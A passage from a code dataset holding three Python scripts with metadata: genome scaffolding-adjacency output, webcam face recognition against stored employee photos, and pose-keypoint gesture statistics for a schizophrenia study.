print(adj,\"=>\",dict_spe_edge_scaff[spe][adj])\n\n\n\n###########\n### ADD CTG/GENE INFOS ON SCAFFOLDING ADJACENCIES AND WRITE THEM IN \"OUTPUT_file\"\n###########\n print(\"3/ Add gene/contig infos to scaffolding adjacencies and write them in OUTPUT file \\\"\"+OUTPUT_file+\"\\\"... \", end=' ')\n stdout.flush()\n scaff_gene_file=open(OUTPUT_file,\"w\")\n scaff_gene_file.write(\"#species\\tctg1\\tctg2\\torientation_ctg1\\torientation_ctg2\\tctg1-ctg2_dist\\tgene1_family\\tgene2_family\\tgene1\\tgene2\\torientation_gene1\\torientation_gene2\\tgene1-gene2_dist\\tvscore\\tdscore\\t#links\\n\")\n for spe in sorted(dict_spe_edge_scaff):\n for adj in sorted(dict_spe_edge_scaff[spe]):\n edge=dict_spe_edge_scaff[spe][adj]\n species=edge.spe\n ctg1=edge.ctg1\n ctg2=edge.ctg2\n oriC1=edge.ori1\n oriC2=edge.ori2\n gap=edge.gap\n vscore=edge.vscore\n dscore=edge.dscore\n link=edge.link\n\n dist=gap\n Nb_scaff_edge_tot+=1\n bool_ctg1,bool_ctg2=False,False\n GF_gene1,gene1,ori_gene1,GF_gene2,gene2,ori_gene2=\"\",\"\",\"\",\"\",\"\",\"\"\n # If ctg1 is present in CTG_file: Get information on gene involved in the linked between ctg1 and ctg2\n if ctg1 in dict_spe_ctg[species]:\n bool_ctg1=True\n CTG1=dict_spe_ctg[species][ctg1]\n # Get infos for gene1\n gf1,g1,oriG1,dist = get_gene_infos(\"first\",oriC1,dist,CTG1,CTG_file)\n\n # If ctg2 is present in CTG_file: Get information on gene involved in the linked between ctg1 and ctg2\n if ctg2 in dict_spe_ctg[species]:\n bool_ctg2=True\n CTG2=dict_spe_ctg[species][ctg2]\n # Get infos for gene2\n gf2,g2,oriG2,dist = get_gene_infos(\"second\",oriC2,dist,CTG2,CTG_file)\n\n # If the 2 contigs are present in file CTG_file: Print scaffolding adj in OUTPUT_scaff_file\n if bool_ctg1 and bool_ctg2:\n scaff_gene_file.write(species+\"\\t\"+ctg1+\"\\t\"+ctg2+\"\\t\"+oriC1+\"\\t\"+oriC2+\"\\t\"+str(gap)+\"\\t\"+gf1+\"\\t\"+gf2+\"\\t\"+g1+\"\\t\"+g2+\"\\t\"+oriG1+\"\\t\"+oriG2+\"\\t\"+str(dist)+\"\\t\"+str(vscore)+\"\\t\"+str(dscore)+\"\\t\"+str(link)+\"\\n\")\n\n scaff_gene_file.close() \n print(\"DONE\")\n\n\n\n end_time = datetime.now()\n print('\\nDuration: {}'.format(end_time - start_time))\n", "sub_path": "bin/scripts/pipeline_input_decostar/create_scaff_adj_file.py", "file_name": "create_scaff_adj_file.py", "file_ext": "py", "file_size_in_byte": 11664, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.makedirs", "line_number": 43, "usage_type": "call"}, {"api_name": "errno.EEXIST", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "name"}, {"api_name": "re.search", "line_number": 70, "usage_type": "call"}, {"api_name": "re.search", "line_number": 119, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 171, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 180, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 224, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 224, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 226, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 227, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 228, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 229, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 230, "usage_type": "name"}, {"api_name": "collections.namedtuple", "line_number": 239, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 240, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 241, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 242, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 250, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 250, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 267, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 282, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 282, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 325, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 325, "usage_type": "name"}]} +{"seq_id": "372751466", "text": "import cv2\nimport face_recognition\nimport glob\n\n# \nvideo = cv2.VideoCapture(0)\nface_locations = []\nface_encodings = []\nface_names = []\nknown_faces = []\nmatch_id = []\n\nfiles = glob.glob(\"./emp/*.jpg\")\nfor i in files:\n image = face_recognition.load_image_file(i)\n face_encodings = face_recognition.face_encodings(image)[0]\n known_faces.append(face_encodings)\n face_names.append(i[6:-4])\ndata = {\"embeddings\": face_encodings, \"name\": face_names}\nframe_number = 0\n\nwhile True:\n ret, frame = video.read()\n rgb_frame = frame[:, :, ::-1]\n face_locations = face_recognition.face_locations(rgb_frame)\n face_encodings = face_recognition.face_encodings(rgb_frame, face_locations)\n names = []\n\n for encodings in face_encodings:\n match = face_recognition.compare_faces(known_faces, encodings, tolerance=0.50)\n name = \"Why you\"\n if True in match:\n match_id = [i for (i, b) in enumerate(match) if b]\n count = {}\n for i in match_id:\n name = data[\"name\"][i]\n count[name] = count.get(name, 0) + 1\n\n name = max(count, key=count.get)\n # name = face_names[match_id]\n print(\"Found {0} Faces\".format(len(match_id)))\n names.append(name)\n\n for ((top, right, bottom, left), name) in zip(face_locations, names):\n cv2.rectangle(frame, (left, top), (right, bottom), (0, 255, 0), 2)\n cv2.rectangle(frame, (left, bottom - 25), (right, bottom), (0, 255, 0), cv2.FILLED)\n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(frame, name, (left + 6, bottom - 6), font, 0.5, (255, 0, 255), 1)\n\n cv2.imshow('frame', frame)\n if cv2.waitKey(1) & 0xff == ord('q'):\n break\n\nvideo.release()\ncv2.destroyAllWindows()\n", "sub_path": "facecam2.py", "file_name": "facecam2.py", "file_ext": "py", "file_size_in_byte": 1759, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "cv2.VideoCapture", "line_number": 6, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 13, "usage_type": "call"}, {"api_name": "face_recognition.load_image_file", "line_number": 15, "usage_type": "call"}, {"api_name": "face_recognition.face_encodings", "line_number": 16, "usage_type": "call"}, {"api_name": "face_recognition.face_locations", "line_number": 25, "usage_type": "call"}, {"api_name": "face_recognition.face_encodings", "line_number": 26, "usage_type": "call"}, {"api_name": "face_recognition.compare_faces", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 46, "usage_type": "call"}, {"api_name": "cv2.FILLED", "line_number": 46, "usage_type": "attribute"}, {"api_name": "cv2.FONT_HERSHEY_DUPLEX", "line_number": 47, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 50, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 55, "usage_type": "call"}]} +{"seq_id": "279579950", "text": "import os\nimport json\nfrom graphics import *\nimport numpy as np\nimport cv2\nimport scipy.signal\nimport xlsxwriter\nimport matplotlib.pyplot as plt\n\nroot_dict = os.path.dirname(os.path.realpath(__file__))\njson_dict = root_dict + '/szituacio2/'\nfileok = os.listdir(json_dict)\nfileok.sort()\n\nclass pont(object):\n def __init__(self, x_coord, y_coord):\n self.x = x_coord\n self.y = y_coord\n\ndef torzs():\n file_ref = open(json_dict + 'Szituáció_02_' + str(ind).zfill(12) + '_keypoints.json', \"r\")\n data = json.load(file_ref)\n x_1_ref = data['people'][0]['pose_keypoints_2d'][3] #pont 1 x\n y_1_ref = data['people'][0]['pose_keypoints_2d'][4] #pont 1 y\n x_8_ref = data['people'][0]['pose_keypoints_2d'][24]\n y_8_ref = data['people'][0]['pose_keypoints_2d'][25]\n x_5_ref = data['people'][0]['pose_keypoints_2d'][15]\n y_5_ref = data['people'][0]['pose_keypoints_2d'][16]\n\n ref_lent = np.matrix([x_8_ref, y_8_ref])\n ref_origo = np.matrix([x_1_ref, y_1_ref])\n r2 = np.array([x_8_ref - x_1_ref, y_8_ref - y_1_ref])\n\n r1_vall = np.array([x_5_ref - x_1_ref, y_5_ref - y_1_ref])\n\n r2_meroleges = np.array([(y_8_ref - y_1_ref) * -1, (x_8_ref - x_1_ref)])\n r2_meroleges_hossz = np.linalg.norm(r2_meroleges)\n r2_meroleges_egyseg = r2_meroleges / r2_meroleges_hossz\n r1_hossz = skalar(r1_vall, r2_meroleges_egyseg)\n r1 = r1_hossz * r2_meroleges_egyseg\n B = np.matrix([r1, -r2])\n\n if np.linalg.det(B) == 0:\n return np.zeros([2, 2]), ref_origo, ref_lent #ha csak egy pont van az új koordinátarendszer vektoraiból, akkor nem invertálható a mátrix, nullmátrixot ad vissza\n else:\n return np.linalg.inv(np.matrix.getT(B)), ref_origo, ref_lent # ez most a kezdeti koordináta bázisaiból egy mátrix, pontosabban annak inverze, hogy áttérjünk majd vele\n\n''' itt térünk át a megkapott kezdeti pixeles ponttal(helyvektorral) az új koordinátarendszerbe'''\ndef T(B, r, o):\n '''itt kivonjuk az origóból, mivel el kell tolni a törzs aljához, mint új középponthoz'''\n if(np.all(r) == 0 or np.all(B) == 0): return pont(0,0) # ha nullvektort kéne átvinni, vagy a transzformációs mátrix nullmátrix\n r = np.subtract(r, o)\n r = B * np.matrix.getT(r)\n return pont(r[0,0],r[1,0])\n\ndef skalar(s1,s2):\n return np.dot(np.squeeze(np.asarray(np.matrix.getT(s1))), np.squeeze(np.asarray(np.matrix.getT(s2))))\n\n\n# open video\ncap = cv2.VideoCapture(root_dict + '/szituacio2_out.mp4')\nind = 0\n\nDATA = np.expand_dims(np.zeros(11, dtype=np.object),axis=1)\n# PONTOK sorrendben: 3-könyök, 4-kéz, 6-könyök, 7-kéz, 10-térd, 11-láb, 13-térd, 14-láb, 0-fej, 2-váll, 5-váll\npoint_list = np.array(\n [9, 12, 18, 21, 30, 33, 39, 42, 0, 6, 15]) # ezekre a pontokra lesz majd szükségünk az adatok közül\nDATA_curr = np.expand_dims(np.zeros(11, dtype=np.object), axis=1) # segéd tábla az ADATOKhoz fűzéshez\n\n\nwhile cap.isOpened():\n if ind < 870 and ind % 3 == 0:\n print(ind)\n ret, frame = cap.read()\n\n file_ref = open(json_dict + 'Szituáció_02_' + str(ind).zfill(12) + '_keypoints.json', \"r\")\n data = json.load(file_ref)\n\n if len(data['people']) == 0:\n for i in range(11):\n DATA_curr[i][0] = pont(0, 0)\n #print(i, DATA_curr[i][0].x, DATA_curr[i][0].y)\n else:\n '''torzs_fent = origo!!! itt megkapjuk a transzformációs mátrixot, a törzs felső pontját (1) és a törzs alsó pontját (8)'''\n B, origo, ref_lent = torzs()\n\n ''' BEOLVASÁS AZ DATA MÁTRIXBA közben pedig transzformálása a pontoknak'''\n for i in range(11):\n DATA_curr[i][0] = T(B, np.array([data['people'][0]['pose_keypoints_2d'][point_list[i]],\n data['people'][0]['pose_keypoints_2d'][point_list[i] + 1]]), origo)\n #print(i, DATA_curr[i][0].x, DATA_curr[i][0].y)\n\n #itt fűzi össze az DATA táblába a transzformált pontokat\n if ind == 0:\n for i in range(11):\n DATA[i] = DATA_curr[i]\n else:\n DATA = np.concatenate((DATA, DATA_curr), axis=1)\n\n cv2.line(frame, (int(ref_lent[0, 0]), int(ref_lent[0, 1])), (int(origo[0, 0]), int(origo[0, 1])), (0, 0, 255),\n 3)\n\n '''KIRAJZOLÁS videóra'''\n r1_vall = np.matrix([data['people'][0]['pose_keypoints_2d'][9], data['people'][0]['pose_keypoints_2d'][10]])\n r2_vall = np.matrix([data['people'][0]['pose_keypoints_2d'][12], data['people'][0]['pose_keypoints_2d'][13]])\n r1_kez = np.matrix([data['people'][0]['pose_keypoints_2d'][18], data['people'][0]['pose_keypoints_2d'][19]])\n r2_kez = np.matrix([data['people'][0]['pose_keypoints_2d'][21], data['people'][0]['pose_keypoints_2d'][22]])\n keresett_pont1_vall= T(B, r1_vall, origo)\n keresett_pont2_vall = T(B, r2_vall, origo)\n keresett_pont1_kez= T(B, r1_kez, origo)\n keresett_pont2_kez = T(B, r2_kez, origo)\n\n cv2.circle(frame, (int(r1_vall[0, 0]), int(r1_vall[0, 1])), 6, (0, 0, 255), -1)\n cv2.circle(frame, (int(r1_kez[0, 0]), int(r1_kez[0, 1])), 6, (255, 0, 0), -1)\n cv2.circle(frame, (int(r2_vall[0, 0]), int(r2_vall[0, 1])), 6, (0, 0, 255), -1)\n cv2.circle(frame, (int(r2_kez[0, 0]), int(r2_kez[0, 1])), 6, (255, 0, 0), -1)\n\n\n cv2.imshow('frame', frame)\n ind += 1\n if cv2.waitKey(0) & 0xFF == ord('q'):\n break\n\ncap.release()\ncv2.destroyAllWindows()\n\nprint( 'EZ ITT A NAGYSÁGA: ', np.shape(DATA)[1])\n\n'''ADATRENDEZÉS'''\n\nadathossz = np.shape(DATA)[1] - 1\nprint('ADATHOSSZ: ', adathossz)\n\n'''pótolja ha a legelején és legvégén nullák lennének'''\nfor i in range(11):\n if DATA[i][0].x == 0:\n veg = 0\n while DATA[i][veg].x == 0:\n if veg == adathossz:\n break\n veg += 1\n if veg == adathossz:\n pass\n elif DATA[i][veg + 1].x == 0:\n kulonbseg_x = 0\n kulonbseg_y = 0\n for u in range(1, veg + 1):\n DATA[i][veg - u].x = DATA[i][veg].x - u * kulonbseg_x\n DATA[i][veg - u].y = DATA[i][veg].y - u * kulonbseg_y\n else:\n kulonbseg_x = DATA[i][veg + 1].x - DATA[i][veg].x\n kulonbseg_y = DATA[i][veg + 1].y - DATA[i][veg].y\n for u in range(1, veg + 1):\n DATA[i][veg - u].x = DATA[i][veg].x - u * kulonbseg_x\n DATA[i][veg - u].y = DATA[i][veg].y - u * kulonbseg_y\n\n if DATA[i][adathossz].x == 0:\n kezdet = adathossz\n while DATA[i][kezdet].x == 0:\n if kezdet == 0:\n break\n kezdet -= 1\n if kezdet == 0:\n pass\n elif DATA[i][kezdet - 1].x == 0:\n kulonbseg_x = 0\n kulonbseg_y = 0\n for u in range(1, np.shape(DATA)[1] - kezdet):\n DATA[i][kezdet + u].x = DATA[i][kezdet].x + u * kulonbseg_x\n DATA[i][kezdet + u].y = DATA[i][kezdet].y + u * kulonbseg_y\n else:\n kulonbseg_x = DATA[i][kezdet].x - DATA[i][kezdet - 1].x\n kulonbseg_y = DATA[i][kezdet].y - DATA[i][kezdet - 1].y\n for u in range(1, np.shape(DATA)[1] - kezdet):\n DATA[i][kezdet + u].x = DATA[i][kezdet].x + u * kulonbseg_x\n DATA[i][kezdet + u].y = DATA[i][kezdet].y + u * kulonbseg_y\n\n'''pótolja ha a közepén nullák lennének'''\nkezdet = 0\nveg = 0\nfor i in range(11):\n for j in range(1, np.shape(DATA)[1]):\n if DATA[i][j - 1].x != 0 and DATA[i][j].x == 0: kezdet = j\n if DATA[i][j - 1].x == 0 and DATA[i][j].x != 0: veg = j - 1\n if kezdet > 0 and veg > 0:\n kulonbseg = veg - kezdet + 2\n a = pont(DATA[i][kezdet - 1].x, DATA[i][kezdet - 1].y)\n b = pont(DATA[i][veg + 1].x, DATA[i][veg + 1].y)\n ab_x = (b.x - a.x) / kulonbseg\n ab_y = (b.y - a.y) / kulonbseg\n for k in range(1, kulonbseg + 1):\n DATA[i][kezdet - 1 + k].x = DATA[i][kezdet - 1].x + k * ab_x\n DATA[i][kezdet - 1 + k].y = DATA[i][kezdet - 1].y + k * ab_y\n kezdet = 0\n veg = 0\n\n'''Savitzky-Golay algoritmus'''\nuj_sor_x = np.empty(np.shape(DATA)[1])\nuj_sor_y = np.empty(np.shape(DATA)[1])\nfor sor in range(11):\n for s_out in range(np.shape(DATA)[1]):\n uj_sor_x[s_out] = DATA[sor][s_out].x\n uj_sor_y[s_out] = DATA[sor][s_out].y\n uj_sor_x = scipy.signal.savgol_filter(uj_sor_x, 5, 3)\n uj_sor_y = scipy.signal.savgol_filter(uj_sor_y, 5, 3)\n for s_in in range(np.shape(DATA)[1]):\n DATA[sor][s_in].x = uj_sor_x[s_in]\n DATA[sor][s_in].y = uj_sor_y[s_in]\n\n'''METRIKA'''\nadathossz = np.shape(DATA)[1]\n\n# PONTOK sorrendben: 3-könyök, 4-kéz, 6-könyök, 7-kéz, 9-térd, 10-láb, 12-térd, 13-láb, 0-fej, 2-váll, 5-váll,\n\n'''távolság'''\nossz_tav_plista = []\nsebesseg_plista = []\nskalar_plista = []\nvariancia_lista = []\nelmozdulasok = np.zeros([11, adathossz - 1], dtype=float)\n\nworkbook = xlsxwriter.Workbook('stat_data_neni.xlsx')\nworksheet = workbook.add_worksheet()\n\nsum = 0\nmax = 0\n\nfor i in range(11):\n for j in range(1, adathossz):\n elmozdulas = (DATA[i][j].x - DATA[i][j - 1].x + DATA[i][j].y - DATA[i][j - 1].y)\n elmozdulasok[i][j - 1] = elmozdulas\n\nELMOZD_window = np.zeros([11, adathossz - 1], dtype=float)\nELMOZD_plot = np.zeros([11, adathossz - 1], dtype=float)\nMAX_ELMOZD_plista = []\nMIN_ELMOZD_plista = []\nMAX_ELMOZD_plista_plot = []\nMIN_ELMOZD_plista_plot = []\n\n'''ABLAKOLÁS + tresholdhoz minimum és maximum számolás testpontonként'''\nsum_win = 0\nsum_plot = 0\nmax_win = 0\nmin_win = 100\nmax_plot = 0\nmin_plot = 100\nfor i in range(11):\n for j in range(4, adathossz - 1):\n for k in range(5):\n sum_win += elmozdulasok[i][j - k]\n sum_plot += elmozdulasok[i][j - k]\n ELMOZD_window[i][j - 4] = sum_win / 5\n ELMOZD_plot[i][j - 4] = sum_plot / 6\n sum_win = 0\n if np.abs(ELMOZD_window[i][j - 4]) > max_win:\n max_win = ELMOZD_window[i][j - 4]\n if np.abs(ELMOZD_window[i][j - 4]) < min_win:\n min_win = ELMOZD_window[i][j - 4]\n\n if np.abs(ELMOZD_plot[i][j - 4]) > max_plot:\n max_plot = ELMOZD_plot[i][j - 4]\n if np.abs(ELMOZD_plot[i][j - 4]) < min_plot:\n min_plot = ELMOZD_plot[i][j - 4]\n MAX_ELMOZD_plista.append(max_win)\n MIN_ELMOZD_plista.append(min_win)\n MAX_ELMOZD_plista_plot.append(max_plot)\n MIN_ELMOZD_plista_plot.append(min_plot)\n max_win = 0\n sum_plot = 0\n min_win = 100\n max_plot = 0\n min_plot = 100\n\n'''THRESHOLD 20%kal'''\nfor i in range(11):\n for j in range(0, adathossz - 1):\n if np.abs(ELMOZD_window[i][j]) < np.abs(\n 0.2 * (MAX_ELMOZD_plista[i] - MIN_ELMOZD_plista[i]) + MIN_ELMOZD_plista[i]):\n ELMOZD_window[i][j] = 0\n if np.abs(ELMOZD_plot[i][j]) < np.abs(\n 0.2 * (MAX_ELMOZD_plista_plot[i] - MIN_ELMOZD_plista_plot[i]) + MIN_ELMOZD_plista_plot[i]):\n ELMOZD_plot[i][j] = 0\n worksheet.write(i + 15, j + 1, ELMOZD_plot[i][j])\n sum += np.abs(ELMOZD_plot[i][j])\n ossz_tav_plista.append(sum)\n variancia_lista.append(np.var(ELMOZD_plot[i]))\n sum = 0\n\nfor i in range(11):\n sebesseg_plista.append(ossz_tav_plista[i] / np.shape(DATA)[1])\n\nprint('Össz táv:')\nfor i in ossz_tav_plista:\n print(i)\n\nprint('Sebesség:')\nfor i in sebesseg_plista:\n print(i)\n\nprint('Legnagyobb elmozdulas:')\nfor i in MAX_ELMOZD_plista_plot:\n print(i)\n\nprint('Variancia:')\nfor i in variancia_lista:\n print(i)\n\nsum = 0\nfor i in range(4):\n for j in range(0, adathossz):\n sum += skalar(np.array([DATA[i][j].x, DATA[i][j].y]), np.array(\n [0, -1]))\n skalar_plista.append(sum / np.shape(DATA)[1])\n sum = 0\n\nprint('Skalár átlagok:')\nfor i in skalar_plista:\n print(i)\n\nprint('\\t')\n\n'''FÁJLBA ÍRÁS:'''\n# PONTOK sorrendben: 3-könyök, 4-kéz, 6-könyök, 7-kéz, 9-térd, 10-láb, 12-térd, 13-láb, 0-fej, 2-váll, 5-váll,\n\nworksheet.write('B1', 'Össz táv')\nworksheet.write('C1', 'Sebesség')\nworksheet.write('D1', 'Legnagyobb elmozdulas')\nworksheet.write('E1', 'Variancia')\nworksheet.write('F1', 'Skalár átlagok')\n\nworksheet.write('A2', 'jobb könyök')\nworksheet.write('A3', 'jobb kéz')\nworksheet.write('A4', 'bal könyök')\nworksheet.write('A5', 'bal kéz')\nworksheet.write('A6', 'jobb térd')\nworksheet.write('A7', 'jobb láb')\nworksheet.write('A8', 'bal térd')\nworksheet.write('A9', 'bal láb')\nworksheet.write('A10', 'fej')\nworksheet.write('A11', 'jobb váll')\nworksheet.write('A12', 'bal váll')\n\nrow = 1\ncolumn = 1\n\nfor item in ossz_tav_plista:\n worksheet.write(row, column, item)\n row += 1\nrow = 1\ncolumn += 1\nfor item in sebesseg_plista:\n worksheet.write(row, column, item)\n row += 1\nrow = 1\ncolumn += 1\nfor item in MAX_ELMOZD_plista:\n worksheet.write(row, column, item)\n row += 1\nrow = 1\ncolumn += 1\nfor item in variancia_lista:\n worksheet.write(row, column, item)\n row += 1\nrow = 1\ncolumn += 1\nfor item in skalar_plista:\n worksheet.write(row, column, item)\n row += 1\nrow = 1\ncolumn += 1\nfor item in MIN_ELMOZD_plista:\n worksheet.write(row, column, item)\n row += 1\n\nworkbook.close()\n\nplt.plot(ELMOZD_plot[0], 'orange', linewidth=1.4)\nplt.plot(ELMOZD_plot[1], 'orangered', linewidth=1.4)\nplt.plot(ELMOZD_plot[2], 'olive', linewidth=1.4)\nplt.plot(ELMOZD_plot[3], 'darkgreen', linewidth=1.4)\nplt.xlabel(\"frame\")\nplt.ylabel(\"gesticulation\")\nplt.legend(('right elbow', 'right hand', 'left elbow', 'left hand'))\nplt.title(\"Schizophrenic subject\")\nplt.axis([0, 280, -1, 1])\nplt.show()\n\n", "sub_path": "2d_stat_comparison/2d_stat_analysis_neni_good_stats.py", "file_name": "2d_stat_analysis_neni_good_stats.py", "file_ext": "py", "file_size_in_byte": 13718, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 10, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 12, "usage_type": "call"}, {"api_name": "json.load", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.matrix", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.linalg.det", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 43, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.matrix.getT", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.all", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.matrix.getT", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 53, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.matrix.getT", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.object", "line_number": 64, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.object", "line_number": 68, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 107, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 113, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 114, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 115, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 116, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 119, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 121, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 201, "usage_type": "call"}, {"api_name": "scipy.signal.signal.savgol_filter", "line_number": 204, "usage_type": "call"}, {"api_name": "scipy.signal.signal", "line_number": 204, "usage_type": "attribute"}, {"api_name": "scipy.signal", "line_number": 204, "usage_type": "name"}, {"api_name": "scipy.signal.signal.savgol_filter", "line_number": 205, "usage_type": "call"}, {"api_name": "scipy.signal.signal", "line_number": 205, "usage_type": "attribute"}, {"api_name": "scipy.signal", "line_number": 205, "usage_type": "name"}, {"api_name": "numpy.shape", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 220, "usage_type": "call"}, {"api_name": "xlsxwriter.Workbook", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 257, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 277, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 284, "usage_type": "call"}, {"api_name": "numpy.var", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 290, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 311, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 313, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 377, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 377, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 378, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 378, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 379, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 379, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 380, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 380, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 381, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 381, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 382, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 382, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 383, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 383, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 384, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 384, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 385, "usage_type": 